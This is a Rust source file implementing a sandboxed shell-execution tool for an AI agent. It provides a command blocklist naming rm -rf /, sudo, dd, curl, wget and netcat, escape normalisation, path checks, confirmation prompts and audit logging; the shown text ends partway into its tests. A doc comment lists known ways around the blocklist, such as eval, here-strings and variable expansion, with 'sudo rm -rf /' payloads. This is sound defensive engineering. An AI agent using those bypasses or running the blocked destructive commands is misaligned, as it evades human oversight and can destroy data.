Skip to main content

zeph_tools/
shell.rs

1// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
2// SPDX-License-Identifier: MIT OR Apache-2.0
3
4use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use std::sync::Arc;
14
15use crate::audit::{AuditEntry, AuditLogger, AuditResult, chrono_now};
16use crate::config::ShellConfig;
17use crate::executor::{
18    FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
19};
20use crate::filter::{OutputFilterRegistry, sanitize_output};
21use crate::permissions::{PermissionAction, PermissionPolicy};
22
23const DEFAULT_BLOCKED: &[&str] = &[
24    "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
25    "reboot", "halt",
26];
27
28/// The default list of blocked command patterns used by [`ShellExecutor`].
29///
30/// Exposed so other executors (e.g. `AcpShellExecutor`) can reuse the same
31/// blocklist without duplicating it.
32pub const DEFAULT_BLOCKED_COMMANDS: &[&str] = DEFAULT_BLOCKED;
33
34/// Shell interpreters that may execute arbitrary code via `-c` or positional args.
35pub const SHELL_INTERPRETERS: &[&str] =
36    &["bash", "sh", "zsh", "fish", "dash", "ksh", "csh", "tcsh"];
37
38/// Subshell metacharacters that could embed a blocked command inside a benign wrapper.
39/// Commands containing these sequences are rejected outright because safe static
40/// analysis of nested shell evaluation is not feasible.
41const SUBSHELL_METACHARS: &[&str] = &["$(", "`", "<(", ">("];
42
43/// Check if `command` matches any pattern in `blocklist`.
44///
45/// Returns the matched pattern string if the command is blocked, `None` otherwise.
46/// The check is case-insensitive and handles common shell escape sequences.
47///
48/// Commands containing subshell metacharacters (`$(` or `` ` ``) are always
49/// blocked because nested evaluation cannot be safely analysed statically.
50#[must_use]
51pub fn check_blocklist(command: &str, blocklist: &[String]) -> Option<String> {
52    let lower = command.to_lowercase();
53    // Reject commands that embed subshell constructs to prevent blocklist bypass.
54    for meta in SUBSHELL_METACHARS {
55        if lower.contains(meta) {
56            return Some((*meta).to_owned());
57        }
58    }
59    let cleaned = strip_shell_escapes(&lower);
60    let commands = tokenize_commands(&cleaned);
61    for blocked in blocklist {
62        for cmd_tokens in &commands {
63            if tokens_match_pattern(cmd_tokens, blocked) {
64                return Some(blocked.clone());
65            }
66        }
67    }
68    None
69}
70
71/// Build the effective command string for blocklist evaluation when the binary is a
72/// shell interpreter (bash, sh, zsh, etc.) and args contains a `-c` script.
73///
74/// Returns `None` if the args do not follow the `-c <script>` pattern.
75#[must_use]
76pub fn effective_shell_command<'a>(binary: &str, args: &'a [String]) -> Option<&'a str> {
77    let base = binary.rsplit('/').next().unwrap_or(binary);
78    if !SHELL_INTERPRETERS.contains(&base) {
79        return None;
80    }
81    // Find "-c" and return the next element as the script to check.
82    let pos = args.iter().position(|a| a == "-c")?;
83    args.get(pos + 1).map(String::as_str)
84}
85
86const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
87
88#[derive(Deserialize, JsonSchema)]
89pub(crate) struct BashParams {
90    /// The bash command to execute
91    command: String,
92}
93
94/// Bash block extraction and execution via `tokio::process::Command`.
95#[derive(Debug)]
96pub struct ShellExecutor {
97    timeout: Duration,
98    blocked_commands: Vec<String>,
99    allowed_paths: Vec<PathBuf>,
100    confirm_patterns: Vec<String>,
101    audit_logger: Option<Arc<AuditLogger>>,
102    tool_event_tx: Option<ToolEventTx>,
103    permission_policy: Option<PermissionPolicy>,
104    output_filter_registry: Option<OutputFilterRegistry>,
105    cancel_token: Option<CancellationToken>,
106    skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
107}
108
109impl ShellExecutor {
110    #[must_use]
111    pub fn new(config: &ShellConfig) -> Self {
112        let allowed: Vec<String> = config
113            .allowed_commands
114            .iter()
115            .map(|s| s.to_lowercase())
116            .collect();
117
118        let mut blocked: Vec<String> = DEFAULT_BLOCKED
119            .iter()
120            .filter(|s| !allowed.contains(&s.to_lowercase()))
121            .map(|s| (*s).to_owned())
122            .collect();
123        blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
124
125        if !config.allow_network {
126            for cmd in NETWORK_COMMANDS {
127                let lower = cmd.to_lowercase();
128                if !blocked.contains(&lower) {
129                    blocked.push(lower);
130                }
131            }
132        }
133
134        blocked.sort();
135        blocked.dedup();
136
137        let allowed_paths = if config.allowed_paths.is_empty() {
138            vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
139        } else {
140            config.allowed_paths.iter().map(PathBuf::from).collect()
141        };
142
143        Self {
144            timeout: Duration::from_secs(config.timeout),
145            blocked_commands: blocked,
146            allowed_paths,
147            confirm_patterns: config.confirm_patterns.clone(),
148            audit_logger: None,
149            tool_event_tx: None,
150            permission_policy: None,
151            output_filter_registry: None,
152            cancel_token: None,
153            skill_env: std::sync::RwLock::new(None),
154        }
155    }
156
157    /// Set environment variables to inject when executing the active skill's bash blocks.
158    pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
159        match self.skill_env.write() {
160            Ok(mut guard) => *guard = env,
161            Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
162        }
163    }
164
165    #[must_use]
166    pub fn with_audit(mut self, logger: Arc<AuditLogger>) -> Self {
167        self.audit_logger = Some(logger);
168        self
169    }
170
171    #[must_use]
172    pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
173        self.tool_event_tx = Some(tx);
174        self
175    }
176
177    #[must_use]
178    pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
179        self.permission_policy = Some(policy);
180        self
181    }
182
183    #[must_use]
184    pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
185        self.cancel_token = Some(token);
186        self
187    }
188
189    #[must_use]
190    pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
191        self.output_filter_registry = Some(registry);
192        self
193    }
194
195    /// Execute a bash block bypassing the confirmation check (called after user confirms).
196    ///
197    /// # Errors
198    ///
199    /// Returns `ToolError` on blocked commands, sandbox violations, or execution failures.
200    pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
201        self.execute_inner(response, true).await
202    }
203
204    async fn execute_inner(
205        &self,
206        response: &str,
207        skip_confirm: bool,
208    ) -> Result<Option<ToolOutput>, ToolError> {
209        let blocks = extract_bash_blocks(response);
210        if blocks.is_empty() {
211            return Ok(None);
212        }
213
214        let mut outputs = Vec::with_capacity(blocks.len());
215        let mut cumulative_filter_stats: Option<FilterStats> = None;
216        #[allow(clippy::cast_possible_truncation)]
217        let blocks_executed = blocks.len() as u32;
218
219        for block in &blocks {
220            let (output_line, per_block_stats) = self.execute_block(block, skip_confirm).await?;
221            if let Some(fs) = per_block_stats {
222                let stats = cumulative_filter_stats.get_or_insert_with(FilterStats::default);
223                stats.raw_chars += fs.raw_chars;
224                stats.filtered_chars += fs.filtered_chars;
225                stats.raw_lines += fs.raw_lines;
226                stats.filtered_lines += fs.filtered_lines;
227                stats.confidence = Some(match (stats.confidence, fs.confidence) {
228                    (Some(prev), Some(cur)) => crate::filter::worse_confidence(prev, cur),
229                    (Some(prev), None) => prev,
230                    (None, Some(cur)) => cur,
231                    (None, None) => unreachable!(),
232                });
233                if stats.command.is_none() {
234                    stats.command = fs.command;
235                }
236                if stats.kept_lines.is_empty() && !fs.kept_lines.is_empty() {
237                    stats.kept_lines = fs.kept_lines;
238                }
239            }
240            outputs.push(output_line);
241        }
242
243        Ok(Some(ToolOutput {
244            tool_name: "bash".to_owned(),
245            summary: outputs.join("\n\n"),
246            blocks_executed,
247            filter_stats: cumulative_filter_stats,
248            diff: None,
249            streamed: self.tool_event_tx.is_some(),
250            terminal_id: None,
251            locations: None,
252            raw_response: None,
253        }))
254    }
255
256    async fn execute_block(
257        &self,
258        block: &str,
259        skip_confirm: bool,
260    ) -> Result<(String, Option<FilterStats>), ToolError> {
261        self.check_permissions(block, skip_confirm).await?;
262        self.validate_sandbox(block)?;
263
264        if let Some(ref tx) = self.tool_event_tx {
265            let _ = tx.send(ToolEvent::Started {
266                tool_name: "bash".to_owned(),
267                command: block.to_owned(),
268            });
269        }
270
271        let start = Instant::now();
272        let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
273            self.skill_env.read().ok().and_then(|g| g.clone());
274        let (out, exit_code) = execute_bash(
275            block,
276            self.timeout,
277            self.tool_event_tx.as_ref(),
278            self.cancel_token.as_ref(),
279            skill_env_snapshot.as_ref(),
280        )
281        .await;
282        if exit_code == 130
283            && self
284                .cancel_token
285                .as_ref()
286                .is_some_and(CancellationToken::is_cancelled)
287        {
288            return Err(ToolError::Cancelled);
289        }
290        #[allow(clippy::cast_possible_truncation)]
291        let duration_ms = start.elapsed().as_millis() as u64;
292
293        let is_timeout = out.contains("[error] command timed out");
294        let audit_result = if is_timeout {
295            AuditResult::Timeout
296        } else if out.contains("[error]") || out.contains("[stderr]") {
297            AuditResult::Error {
298                message: out.clone(),
299            }
300        } else {
301            AuditResult::Success
302        };
303        self.log_audit(block, audit_result, duration_ms).await;
304
305        if is_timeout {
306            if let Some(ref tx) = self.tool_event_tx {
307                let _ = tx.send(ToolEvent::Completed {
308                    tool_name: "bash".to_owned(),
309                    command: block.to_owned(),
310                    output: out.clone(),
311                    success: false,
312                    filter_stats: None,
313                    diff: None,
314                });
315            }
316            return Err(ToolError::Timeout {
317                timeout_secs: self.timeout.as_secs(),
318            });
319        }
320
321        let sanitized = sanitize_output(&out);
322        let mut per_block_stats: Option<FilterStats> = None;
323        let filtered = if let Some(ref registry) = self.output_filter_registry {
324            match registry.apply(block, &sanitized, exit_code) {
325                Some(fr) => {
326                    tracing::debug!(
327                        command = block,
328                        raw = fr.raw_chars,
329                        filtered = fr.filtered_chars,
330                        savings_pct = fr.savings_pct(),
331                        "output filter applied"
332                    );
333                    per_block_stats = Some(FilterStats {
334                        raw_chars: fr.raw_chars,
335                        filtered_chars: fr.filtered_chars,
336                        raw_lines: fr.raw_lines,
337                        filtered_lines: fr.filtered_lines,
338                        confidence: Some(fr.confidence),
339                        command: Some(block.to_owned()),
340                        kept_lines: fr.kept_lines.clone(),
341                    });
342                    fr.output
343                }
344                None => sanitized,
345            }
346        } else {
347            sanitized
348        };
349
350        if let Some(ref tx) = self.tool_event_tx {
351            let _ = tx.send(ToolEvent::Completed {
352                tool_name: "bash".to_owned(),
353                command: block.to_owned(),
354                output: out.clone(),
355                success: !out.contains("[error]"),
356                filter_stats: per_block_stats.clone(),
357                diff: None,
358            });
359        }
360
361        Ok((format!("$ {block}\n{filtered}"), per_block_stats))
362    }
363
364    /// Check blocklist, permission policy, and confirmation requirements for `block`.
365    async fn check_permissions(&self, block: &str, skip_confirm: bool) -> Result<(), ToolError> {
366        // Always check the blocklist first — it is a hard security boundary
367        // that must not be bypassed by the PermissionPolicy layer.
368        if let Some(blocked) = self.find_blocked_command(block) {
369            self.log_audit(
370                block,
371                AuditResult::Blocked {
372                    reason: format!("blocked command: {blocked}"),
373                },
374                0,
375            )
376            .await;
377            return Err(ToolError::Blocked {
378                command: blocked.to_owned(),
379            });
380        }
381
382        if let Some(ref policy) = self.permission_policy {
383            match policy.check("bash", block) {
384                PermissionAction::Deny => {
385                    self.log_audit(
386                        block,
387                        AuditResult::Blocked {
388                            reason: "denied by permission policy".to_owned(),
389                        },
390                        0,
391                    )
392                    .await;
393                    return Err(ToolError::Blocked {
394                        command: block.to_owned(),
395                    });
396                }
397                PermissionAction::Ask if !skip_confirm => {
398                    return Err(ToolError::ConfirmationRequired {
399                        command: block.to_owned(),
400                    });
401                }
402                _ => {}
403            }
404        } else if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
405            return Err(ToolError::ConfirmationRequired {
406                command: pattern.to_owned(),
407            });
408        }
409
410        Ok(())
411    }
412
413    fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
414        let cwd = std::env::current_dir().unwrap_or_default();
415
416        for token in extract_paths(code) {
417            if has_traversal(&token) {
418                return Err(ToolError::SandboxViolation { path: token });
419            }
420
421            let path = if token.starts_with('/') {
422                PathBuf::from(&token)
423            } else {
424                cwd.join(&token)
425            };
426            let canonical = path
427                .canonicalize()
428                .or_else(|_| std::path::absolute(&path))
429                .unwrap_or(path);
430            if !self
431                .allowed_paths
432                .iter()
433                .any(|allowed| canonical.starts_with(allowed))
434            {
435                return Err(ToolError::SandboxViolation {
436                    path: canonical.display().to_string(),
437                });
438            }
439        }
440        Ok(())
441    }
442
443    /// Scan `code` for commands that match the configured blocklist.
444    ///
445    /// The function normalizes input via [`strip_shell_escapes`] (decoding `$'\xNN'`,
446    /// `$'\NNN'`, backslash escapes, and quote-splitting) and then splits on shell
447    /// metacharacters (`||`, `&&`, `;`, `|`, `\n`) via [`tokenize_commands`].  Each
448    /// resulting token sequence is tested against every entry in `blocked_commands`
449    /// through [`tokens_match_pattern`], which handles transparent prefixes (`env`,
450    /// `command`, `exec`, etc.), absolute paths, and dot-suffixed variants.
451    ///
452    /// # Known limitations
453    ///
454    /// The following constructs are **not** detected by this function:
455    ///
456    /// - **Here-strings** `<<<` with a shell interpreter: the outer command is the
457    ///   shell (`bash`, `sh`), which is not blocked by default; the payload string is
458    ///   opaque to this filter.
459    ///   Example: `bash <<< 'sudo rm -rf /'` — inner payload is not parsed.
460    ///
461    /// - **`eval` and `bash -c` / `sh -c`**: the string argument is not parsed; any
462    ///   blocked command embedded as a string argument passes through undetected.
463    ///   Example: `eval 'sudo rm -rf /'`.
464    ///
465    /// - **Variable expansion**: `strip_shell_escapes` does not resolve variable
466    ///   references, so `cmd=sudo; $cmd rm` bypasses the blocklist.
467    ///
468    /// `$(...)`, backtick, `<(...)`, and `>(...)` substitutions are detected by
469    /// [`extract_subshell_contents`], which extracts the inner command string and
470    /// checks it against the blocklist separately.  The default `confirm_patterns`
471    /// in [`ShellConfig`] additionally include `"$("`, `` "`" ``, `"<("`, `">("`,
472    /// `"<<<"`, and `"eval "`, so those constructs also trigger a confirmation
473    /// request via [`find_confirm_command`] before execution.
474    ///
475    /// For high-security deployments, complement this filter with OS-level sandboxing
476    /// (Linux namespaces, seccomp, or similar) to enforce hard execution boundaries.
477    fn find_blocked_command(&self, code: &str) -> Option<&str> {
478        let cleaned = strip_shell_escapes(&code.to_lowercase());
479        let commands = tokenize_commands(&cleaned);
480        for blocked in &self.blocked_commands {
481            for cmd_tokens in &commands {
482                if tokens_match_pattern(cmd_tokens, blocked) {
483                    return Some(blocked.as_str());
484                }
485            }
486        }
487        // Also check commands embedded inside subshell constructs.
488        for inner in extract_subshell_contents(&cleaned) {
489            let inner_commands = tokenize_commands(&inner);
490            for blocked in &self.blocked_commands {
491                for cmd_tokens in &inner_commands {
492                    if tokens_match_pattern(cmd_tokens, blocked) {
493                        return Some(blocked.as_str());
494                    }
495                }
496            }
497        }
498        None
499    }
500
501    fn find_confirm_command(&self, code: &str) -> Option<&str> {
502        let normalized = code.to_lowercase();
503        for pattern in &self.confirm_patterns {
504            if normalized.contains(pattern.as_str()) {
505                return Some(pattern.as_str());
506            }
507        }
508        None
509    }
510
511    async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
512        if let Some(ref logger) = self.audit_logger {
513            let entry = AuditEntry {
514                timestamp: chrono_now(),
515                tool: "shell".into(),
516                command: command.into(),
517                result,
518                duration_ms,
519            };
520            logger.log(&entry).await;
521        }
522    }
523}
524
525impl ToolExecutor for ShellExecutor {
526    async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
527        self.execute_inner(response, false).await
528    }
529
530    fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
531        use crate::registry::{InvocationHint, ToolDef};
532        vec![ToolDef {
533            id: "bash".into(),
534            description: "Execute a shell command and return stdout/stderr.\n\nParameters: command (string, required) - shell command to run\nReturns: stdout and stderr combined, prefixed with exit code\nErrors: Blocked if command matches security policy; Timeout after configured seconds; SandboxViolation if path outside allowed dirs\nExample: {\"command\": \"ls -la /tmp\"}".into(),
535            schema: schemars::schema_for!(BashParams),
536            invocation: InvocationHint::FencedBlock("bash"),
537        }]
538    }
539
540    async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
541        if call.tool_id != "bash" {
542            return Ok(None);
543        }
544        let params: BashParams = crate::executor::deserialize_params(&call.params)?;
545        if params.command.is_empty() {
546            return Ok(None);
547        }
548        let command = &params.command;
549        // Wrap as a fenced block so execute_inner can extract and run it
550        let synthetic = format!("```bash\n{command}\n```");
551        self.execute_inner(&synthetic, false).await
552    }
553
554    fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
555        ShellExecutor::set_skill_env(self, env);
556    }
557}
558
559/// Strip shell escape sequences that could bypass command detection.
560/// Handles: backslash insertion (`su\do` -> `sudo`), `$'\xNN'` hex and `$'\NNN'` octal
561/// escapes, adjacent quoted segments (`"su""do"` -> `sudo`), backslash-newline continuations.
562pub(crate) fn strip_shell_escapes(input: &str) -> String {
563    let mut out = String::with_capacity(input.len());
564    let bytes = input.as_bytes();
565    let mut i = 0;
566    while i < bytes.len() {
567        // $'...' ANSI-C quoting: decode \xNN hex and \NNN octal escapes
568        if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
569            let mut j = i + 2; // points after $'
570            let mut decoded = String::new();
571            let mut valid = false;
572            while j < bytes.len() && bytes[j] != b'\'' {
573                if bytes[j] == b'\\' && j + 1 < bytes.len() {
574                    let next = bytes[j + 1];
575                    if next == b'x' && j + 3 < bytes.len() {
576                        // \xNN hex escape
577                        let hi = (bytes[j + 2] as char).to_digit(16);
578                        let lo = (bytes[j + 3] as char).to_digit(16);
579                        if let (Some(h), Some(l)) = (hi, lo) {
580                            #[allow(clippy::cast_possible_truncation)]
581                            let byte = ((h << 4) | l) as u8;
582                            decoded.push(byte as char);
583                            j += 4;
584                            valid = true;
585                            continue;
586                        }
587                    } else if next.is_ascii_digit() {
588                        // \NNN octal escape (up to 3 digits)
589                        let mut val = u32::from(next - b'0');
590                        let mut len = 2; // consumed \N so far
591                        if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
592                            val = val * 8 + u32::from(bytes[j + 2] - b'0');
593                            len = 3;
594                            if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
595                                val = val * 8 + u32::from(bytes[j + 3] - b'0');
596                                len = 4;
597                            }
598                        }
599                        #[allow(clippy::cast_possible_truncation)]
600                        decoded.push((val & 0xFF) as u8 as char);
601                        j += len;
602                        valid = true;
603                        continue;
604                    }
605                    // other \X escape: emit X literally
606                    decoded.push(next as char);
607                    j += 2;
608                } else {
609                    decoded.push(bytes[j] as char);
610                    j += 1;
611                }
612            }
613            if j < bytes.len() && bytes[j] == b'\'' && valid {
614                out.push_str(&decoded);
615                i = j + 1;
616                continue;
617            }
618            // not a decodable $'...' sequence — fall through to handle as regular chars
619        }
620        // backslash-newline continuation: remove both
621        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
622            i += 2;
623            continue;
624        }
625        // intra-word backslash: skip the backslash, keep next char (e.g. su\do -> sudo)
626        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
627            i += 1;
628            out.push(bytes[i] as char);
629            i += 1;
630            continue;
631        }
632        // quoted segment stripping: collapse adjacent quoted segments
633        if bytes[i] == b'"' || bytes[i] == b'\'' {
634            let quote = bytes[i];
635            i += 1;
636            while i < bytes.len() && bytes[i] != quote {
637                out.push(bytes[i] as char);
638                i += 1;
639            }
640            if i < bytes.len() {
641                i += 1; // skip closing quote
642            }
643            continue;
644        }
645        out.push(bytes[i] as char);
646        i += 1;
647    }
648    out
649}
650
651/// Extract inner command strings from subshell constructs in `s`.
652///
653/// Recognises:
654/// - Backtick: `` `cmd` `` → `cmd`
655/// - Dollar-paren: `$(cmd)` → `cmd`
656/// - Process substitution (lt): `<(cmd)` → `cmd`
657/// - Process substitution (gt): `>(cmd)` → `cmd`
658///
659/// Depth counting handles nested parentheses correctly.
660pub(crate) fn extract_subshell_contents(s: &str) -> Vec<String> {
661    let mut results = Vec::new();
662    let chars: Vec<char> = s.chars().collect();
663    let len = chars.len();
664    let mut i = 0;
665
666    while i < len {
667        // Backtick substitution: `...`
668        if chars[i] == '`' {
669            let start = i + 1;
670            let mut j = start;
671            while j < len && chars[j] != '`' {
672                j += 1;
673            }
674            if j < len {
675                results.push(chars[start..j].iter().collect());
676            }
677            i = j + 1;
678            continue;
679        }
680
681        // $(...), <(...), >(...)
682        let next_is_open_paren = i + 1 < len && chars[i + 1] == '(';
683        let is_paren_subshell = next_is_open_paren && matches!(chars[i], '$' | '<' | '>');
684
685        if is_paren_subshell {
686            let start = i + 2;
687            let mut depth: usize = 1;
688            let mut j = start;
689            while j < len && depth > 0 {
690                match chars[j] {
691                    '(' => depth += 1,
692                    ')' => depth -= 1,
693                    _ => {}
694                }
695                if depth > 0 {
696                    j += 1;
697                } else {
698                    break;
699                }
700            }
701            if depth == 0 {
702                results.push(chars[start..j].iter().collect());
703            }
704            i = j + 1;
705            continue;
706        }
707
708        i += 1;
709    }
710
711    results
712}
713
714/// Split normalized shell code into sub-commands on `|`, `||`, `&&`, `;`, `\n`.
715/// Returns list of sub-commands, each as `Vec<String>` of tokens.
716pub(crate) fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
717    // Replace two-char operators with a single separator, then split on single-char separators
718    let replaced = normalized.replace("||", "\n").replace("&&", "\n");
719    replaced
720        .split([';', '|', '\n'])
721        .map(|seg| {
722            seg.split_whitespace()
723                .map(str::to_owned)
724                .collect::<Vec<String>>()
725        })
726        .filter(|tokens| !tokens.is_empty())
727        .collect()
728}
729
730/// Transparent prefix commands that invoke the next argument as a command.
731/// Skipped when determining the "real" command name being invoked.
732const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
733
734/// Return the basename of a token (last path component after '/').
735fn cmd_basename(tok: &str) -> &str {
736    tok.rsplit('/').next().unwrap_or(tok)
737}
738
739/// Check if the first tokens of a sub-command match a blocked pattern.
740/// Handles:
741/// - Transparent prefix commands (`env sudo rm` -> checks `sudo`)
742/// - Absolute paths (`/usr/bin/sudo rm` -> basename `sudo` is checked)
743/// - Dot-suffixed variants (`mkfs` matches `mkfs.ext4`)
744/// - Multi-word patterns (`rm -rf /` joined prefix check)
745pub(crate) fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
746    if tokens.is_empty() || pattern.is_empty() {
747        return false;
748    }
749    let pattern = pattern.trim();
750    let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
751    if pattern_tokens.is_empty() {
752        return false;
753    }
754
755    // Skip transparent prefix tokens to reach the real command
756    let start = tokens
757        .iter()
758        .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
759        .unwrap_or(0);
760    let effective = &tokens[start..];
761    if effective.is_empty() {
762        return false;
763    }
764
765    if pattern_tokens.len() == 1 {
766        let pat = pattern_tokens[0];
767        let base = cmd_basename(&effective[0]);
768        // Exact match OR dot-suffixed variant (e.g. "mkfs" matches "mkfs.ext4")
769        base == pat || base.starts_with(&format!("{pat}."))
770    } else {
771        // Multi-word: join first N tokens (using basename for first) and check prefix
772        let n = pattern_tokens.len().min(effective.len());
773        let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
774        parts.extend(effective[1..n].iter().map(String::as_str));
775        let joined = parts.join(" ");
776        if joined.starts_with(pattern) {
777            return true;
778        }
779        if effective.len() > n {
780            let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
781            parts2.extend(effective[1..=n].iter().map(String::as_str));
782            parts2.join(" ").starts_with(pattern)
783        } else {
784            false
785        }
786    }
787}
788
789fn extract_paths(code: &str) -> Vec<String> {
790    let mut result = Vec::new();
791
792    // Tokenize respecting single/double quotes
793    let mut tokens: Vec<String> = Vec::new();
794    let mut current = String::new();
795    let mut chars = code.chars().peekable();
796    while let Some(c) = chars.next() {
797        match c {
798            '"' | '\'' => {
799                let quote = c;
800                while let Some(&nc) = chars.peek() {
801                    if nc == quote {
802                        chars.next();
803                        break;
804                    }
805                    current.push(chars.next().unwrap());
806                }
807            }
808            c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
809                if !current.is_empty() {
810                    tokens.push(std::mem::take(&mut current));
811                }
812            }
813            _ => current.push(c),
814        }
815    }
816    if !current.is_empty() {
817        tokens.push(current);
818    }
819
820    for token in tokens {
821        let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
822        if trimmed.is_empty() {
823            continue;
824        }
825        if trimmed.starts_with('/')
826            || trimmed.starts_with("./")
827            || trimmed.starts_with("../")
828            || trimmed == ".."
829        {
830            result.push(trimmed);
831        }
832    }
833    result
834}
835
836fn has_traversal(path: &str) -> bool {
837    path.split('/').any(|seg| seg == "..")
838}
839
840fn extract_bash_blocks(text: &str) -> Vec<&str> {
841    crate::executor::extract_fenced_blocks(text, "bash")
842}
843
844/// Kill a child process and its descendants.
845/// On unix, sends SIGKILL to child processes via `pkill -KILL -P <pid>` before
846/// killing the parent, preventing zombie subprocesses.
847async fn kill_process_tree(child: &mut tokio::process::Child) {
848    #[cfg(unix)]
849    if let Some(pid) = child.id() {
850        let _ = Command::new("pkill")
851            .args(["-KILL", "-P", &pid.to_string()])
852            .status()
853            .await;
854    }
855    let _ = child.kill().await;
856}
857
858async fn execute_bash(
859    code: &str,
860    timeout: Duration,
861    event_tx: Option<&ToolEventTx>,
862    cancel_token: Option<&CancellationToken>,
863    extra_env: Option<&std::collections::HashMap<String, String>>,
864) -> (String, i32) {
865    use std::process::Stdio;
866    use tokio::io::{AsyncBufReadExt, BufReader};
867
868    let timeout_secs = timeout.as_secs();
869
870    let mut cmd = Command::new("bash");
871    cmd.arg("-c")
872        .arg(code)
873        .stdout(Stdio::piped())
874        .stderr(Stdio::piped());
875    if let Some(env) = extra_env {
876        cmd.envs(env);
877    }
878    let child_result = cmd.spawn();
879
880    let mut child = match child_result {
881        Ok(c) => c,
882        Err(e) => return (format!("[error] {e}"), 1),
883    };
884
885    let stdout = child.stdout.take().expect("stdout piped");
886    let stderr = child.stderr.take().expect("stderr piped");
887
888    let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
889
890    let stdout_tx = line_tx.clone();
891    tokio::spawn(async move {
892        let mut reader = BufReader::new(stdout);
893        let mut buf = String::new();
894        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
895            let _ = stdout_tx.send(buf.clone()).await;
896            buf.clear();
897        }
898    });
899
900    tokio::spawn(async move {
901        let mut reader = BufReader::new(stderr);
902        let mut buf = String::new();
903        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
904            let _ = line_tx.send(format!("[stderr] {buf}")).await;
905            buf.clear();
906        }
907    });
908
909    let mut combined = String::new();
910    let deadline = tokio::time::Instant::now() + timeout;
911
912    loop {
913        tokio::select! {
914            line = line_rx.recv() => {
915                match line {
916                    Some(chunk) => {
917                        if let Some(tx) = event_tx {
918                            let _ = tx.send(ToolEvent::OutputChunk {
919                                tool_name: "bash".to_owned(),
920                                command: code.to_owned(),
921                                chunk: chunk.clone(),
922                            });
923                        }
924                        combined.push_str(&chunk);
925                    }
926                    None => break,
927                }
928            }
929            () = tokio::time::sleep_until(deadline) => {
930                kill_process_tree(&mut child).await;
931                return (format!("[error] command timed out after {timeout_secs}s"), 1);
932            }
933            () = async {
934                match cancel_token {
935                    Some(t) => t.cancelled().await,
936                    None => std::future::pending().await,
937                }
938            } => {
939                kill_process_tree(&mut child).await;
940                return ("[cancelled] operation aborted".to_string(), 130);
941            }
942        }
943    }
944
945    let status = child.wait().await;
946    let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
947
948    if combined.is_empty() {
949        ("(no output)".to_string(), exit_code)
950    } else {
951        (combined, exit_code)
952    }
953}
954
955#[cfg(test)]
956mod tests {
957    use super::*;
958
959    fn default_config() -> ShellConfig {
960        ShellConfig {
961            timeout: 30,
962            blocked_commands: Vec::new(),
963            allowed_commands: Vec::new(),
964            allowed_paths: Vec::new(),
965            allow_network: true,
966            confirm_patterns: Vec::new(),
967        }
968    }
969
970    fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
971        ShellConfig {
972            allowed_paths,
973            ..default_config()
974        }
975    }
976
977    #[test]
978    fn extract_single_bash_block() {
979        let text = "Here is code:\n```bash\necho hello\n```\nDone.";
980        let blocks = extract_bash_blocks(text);
981        assert_eq!(blocks, vec!["echo hello"]);
982    }
983
984    #[test]
985    fn extract_multiple_bash_blocks() {
986        let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
987        let blocks = extract_bash_blocks(text);
988        assert_eq!(blocks, vec!["ls", "pwd"]);
989    }
990
991    #[test]
992    fn ignore_non_bash_blocks() {
993        let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
994        let blocks = extract_bash_blocks(text);
995        assert_eq!(blocks, vec!["echo hi"]);
996    }
997
998    #[test]
999    fn no_blocks_returns_none() {
1000        let text = "Just plain text, no code blocks.";
1001        let blocks = extract_bash_blocks(text);
1002        assert!(blocks.is_empty());
1003    }
1004
1005    #[test]
1006    fn unclosed_block_ignored() {
1007        let text = "```bash\necho hello";
1008        let blocks = extract_bash_blocks(text);
1009        assert!(blocks.is_empty());
1010    }
1011
1012    #[tokio::test]
1013    #[cfg(not(target_os = "windows"))]
1014    async fn execute_simple_command() {
1015        let (result, code) =
1016            execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
1017        assert!(result.contains("hello"));
